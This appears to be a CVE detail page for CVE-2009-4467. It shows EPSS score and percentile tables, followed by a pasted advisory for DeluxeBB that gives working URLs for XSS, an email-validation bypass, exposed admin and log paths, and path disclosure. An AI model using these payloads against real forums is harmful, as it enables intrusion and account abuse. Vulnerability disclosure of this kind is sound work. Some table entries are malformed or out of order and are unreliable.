CVE-2009-4467 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.06%	–	–
2022-02-13	–	–	1.06%	–	–
2022-04-03	–	–	1.06%	–	–
2022-05-01	–	–	1.06%	–	–
2022-07-17	–	–	1.06%	–	–
2022-10-23	–	–	1.06%	–	–
2023-02-26	–	–	1.06%	–	–
2023-03-12	–	–	–	0.17%	–
2023-05-14	–	–	–	0.17%	–
2023-10-08	–	–	–	0.17%	–
2024-02-11	–	–	–	0.17%	–
2024-02-18	–	–	–	0.18%	–
2024-06-02	–	–	–	0.17%	–
2024-08-11	–	–	–	0.2%	–
2024-09-22	–	–	–	0.17%	–
2024-11-17	–	–	–	0.17%	–
2024-12-22	–	–	–	0.21%	–
2025-03-16	–	–	–	0.21%	–
2025-01-19	–	–	–	0.21%	–
2025-03-18	–	–	–	–	0.83%
2025-03-30	–	–	–	–	0.83%
2025-04-06	–	–	–	–	0.83%
2025-04-06	–	–	–	–	0.83,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	28%
2022-02-13	29%
2022-04-03	49%
2022-05-01	5%
2022-07-17	51%
2022-10-23	52%
2023-02-26	53%
2023-03-12	52%
2023-05-14	53%
2023-10-08	54%
2024-02-11	53%
2024-02-18	54%
2024-06-02	54%
2024-08-11	58%
2024-09-22	54%
2024-11-17	55%
2024-12-22	59%
2025-03-16	6%
2025-01-19	59%
2025-03-18	73%
2025-03-30	72%
2025-04-06	73%
2025-04-06	73%

# Author: cp77fk4r | Empty0pagE[Shift+2]gmail.com<http://gmail.com> # Vendor: http://www.deluxebb.com # #[Directory Listing] http://server/templates/ http://server/images/ http://server/logs/ http://server/wysiwyg/ http://server/docs/ http://server/classes http://server/lang http://server/settings/ # # #[Cross Site Scripting] http://server/misc.php?sub=memberlist&page=-111111111111111111%3Cscript%3Ealert(1)%3C/script%3E # # #[Unprotected Admin Panel Files] http://server/templates/deluxe/admincp/ http://server/templates/corporate/admincp/ http://server/templates/blue/admincp/ # # #[Unprotected Log Files] http://server/logs/cp.php # # #[Mail Registration Validation Bypass] After the user registration procedure, Simply enter to the link: http://server/misc.php?sub=valemail&valmem=[USER_ID]&valnum=cp77fk4r you can get your [USER_ID] on the last page of Member-List section: http://server/misc.php?sub=memberlist&page=[LAST_PAGE] # # # #[Full Path Disclosure] http://server/misc.php?sub=memberlist&page=-11111111111111111 -you'll get an error like: Fatal error: Maximum execution time of 30 seconds exceeded in [FULL_PATH]/tools.php on line [..] or: http://server/misc.php?sub=memberlist&page=-1.11111111111111E+FF -you'll get an error like: Fatal error: Allowed memory size of 68157440 bytes exhausted (tried to allocate 66584545 bytes) in [FULL_PATH]/tools.php on line [..] # # #[E0F]